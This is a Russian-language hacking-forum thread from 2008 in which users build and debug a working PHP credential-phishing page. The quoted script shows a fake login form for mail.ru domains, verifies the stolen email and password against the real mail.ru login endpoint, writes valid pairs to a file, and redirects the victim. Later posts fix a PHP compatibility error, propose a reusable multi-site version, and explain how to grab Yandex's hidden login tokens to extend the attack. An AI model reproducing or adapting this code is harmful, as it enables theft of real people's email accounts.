ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6891  
Старый 15.12.2008, 01:03
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Цитата:
Сообщение от .:EnoT:.  
m0Hze
PHP код:
<?php

if(isset($_POST['submit'])){ // Если данные отправились

    
$mail $_POST['mail'];
    
$zone $_POST['zone'];
    
$pass $_POST['pass'];

//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
    
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
    
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
//просто заполняет поле User-Agent: заголовка
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer  
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
//включать заголовки в полученный ответ
    
curl_setopt($clCURLOPT_HEADER1);
//запрос методом POST
    
curl_setopt($clCURLOPT_POST1);
//установить отправляемые поля POST
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
//выполнить запрос и сохранить результат в exec
    
$exec curl_exec($cl);
//освободить экземляр сеанса
    
curl_close($cl);

    if(
stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{

        
/* Запись в файл */
        
$open fopen('result.txt''r+t');
        
fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
        
fclose($open);

        
/* Переадресация куда-то */
        
header('location: http://kuda-to.ru');
        die();
    }

}else{

    
?>
    <form action="" method="post">
        <input name="mail" type="text" /><br/>
        <select size="1" name="zone">
            <option value="mail.ru">mail.ru</option>
            <option value="bk.ru">bk.ru</option>
            <option value="inbox.ru">inbox.ru</option>
            <option value="list.ru">list.ru</option>
        </select><br/>
    <input name="pass" type="password" />
    <input type="submit" value="Войти" name="submit" />
    </form>

    <?php

}

?>
PHP код:
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php'); 
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...

Последний раз редактировалось ss88; 15.12.2008 в 01:09..
 
Ответить с цитированием

  #6892  
Старый 15.12.2008, 01:08
Аватар для .:EnoT:.
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Цитата:
Сообщение от m0Hze  
Я не понял почти ничего из предложения выше
Какие мы все жадные на плисеги
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if
Xt тебе от меня мой 1 плисег то?)
мдааа, при чём тут плюсики?
есть просто такое слово "Спасибо".
тебе тут вообще никто ничем не обязан помогать и что-то обьяснять, тебя могли бы просто проигнорить или обозвать ламером и послать на, но тебе выкладывают код, обьясняют что и как, исправляют.....ппц слов нет =\

ss88
зря, ему не поможет
 
Ответить с цитированием

  #6893  
Старый 15.12.2008, 01:12
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Какие вы все злые то
Спасибо я сказал бы, но просто еще много вопросов,и мне хотелось еще спросить,поэтому спасибо было вам уготовано в самом конце.ЗЫ.Уже сложилась в мозгу некая осоциация спасибо и +.Вот к чему приводит ачат
Извините меня пожалуйста за мою грубость,признаю все свои ошики,и то что не сказал спасибо.Совсем уже в интернете живу а не в реале
php.net там для меня еще слишком тяжело,читаю книжки пока что.ТО что понимаю не спрашиваю,а то что не понимаю приходиться спрашивать тут.
 
Ответить с цитированием

  #6894  
Старый 15.12.2008, 01:21
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(

Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21

Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
// разобрался,хостинг тупой,на другом все работает.

Последний раз редактировалось m0Hze; 15.12.2008 в 01:24..
 
Ответить с цитированием

  #6895  
Старый 15.12.2008, 01:29
Аватар для .:EnoT:.
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Мы не злые, мы в меру добрые!

Цитата:
Сообщение от m0Hze  
Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(
а на моему работает 8)

Цитата:
Сообщение от m0Hze  
Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21
У тебя версия PHP ниже 5-й. В твоём случае замени stripos() на stristr()

Цитата:
Сообщение от m0Hze  
Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
Странно даже как-то. Я обычно все скрипты с ошибками пишу ))
 
Ответить с цитированием

  #6896  
Старый 15.12.2008, 01:30
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Давно такого не видел, "хостинг тупой"...это ж надо, какой тупой хостинг...
Просто эта функция характерна для РНР 5, судя по всему, у тебя 4
 
Ответить с цитированием

  #6897  
Старый 15.12.2008, 01:44
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Смешной 8)
Пробывал сделать на яндекс,вроде все сдела правильно,посмотрел переменные там только login passwd - заменил.Сменил рефер,куда слать запрос, и кстате там еще и по http можно,не обязаловка https. Но не пашет сволоч такая 8)
И у меня есть идея,я уже ее сказал одному челу в ЛС,и теперь еще тут опишу.
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?
 
Ответить с цитированием

  #6898  
Старый 15.12.2008, 02:03
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Цитата:
Сообщение от m0Hze  
Смешной 8)
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?
Мдя... зачем??? Тебе так не нравится??? ))) Ты бы это до ума довел
+ добавь поддержку такого себе списка профилей (храни в файле или в БД), ведь, по сути, работа с разными сайтами здесь заключается в изменении нескольких всего параметров, а именно:
PHP код:
//1. специфические для сайтов имена инпутов
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//2. путь к авторизации
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
//3. Referer
curl_setopt($clCURLOPT_REFERER'http://mail.ru/'); 
//4. Проверять характерные для разных сайтов сообщения об ошибках
$errorPageText=file_get_contents('error.php'); 
В итоге, в случае работы с большим кол-вом сайтов, можно будет получить некоторую гибкость малой кровью

Последний раз редактировалось ss88; 15.12.2008 в 02:10..
 
Ответить с цитированием

  #6899  
Старый 15.12.2008, 02:08
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

не по поп3,можно былобы легко настраивать под любой почтовик.А так нужно еще помучаться с переменными.Ведь с яндексом я досих пор не смог заммутить...=)
 
Ответить с цитированием

  #6900  
Старый 15.12.2008, 02:19
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

и про Яндекс, я, кажется, понял, почему у тебя ничего не выходит, это не из-за http или https.
Просто там в форме присутствует скрытое поле
PHP код:
<input type="hidden" name="idkey" value "3361229293991TPx0L3xKE"
Это какой-то динамический id... Но, по-моему, выйти из этой ситуации можно так:
PHP код:
$preAuth=file_get_contents('http://passport.yandex.ru/passport');
//$idKey=выдираем из кода страницы значение поля
//а когда уже передаем Логин/Пароль, то нужно в POST засунуть и этот id 
+там еще есть скрытое поле timestamp, вполне возможно, что они проверяют его наличие в POST-запросе

Последний раз редактировалось ss88; 15.12.2008 в 02:21..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ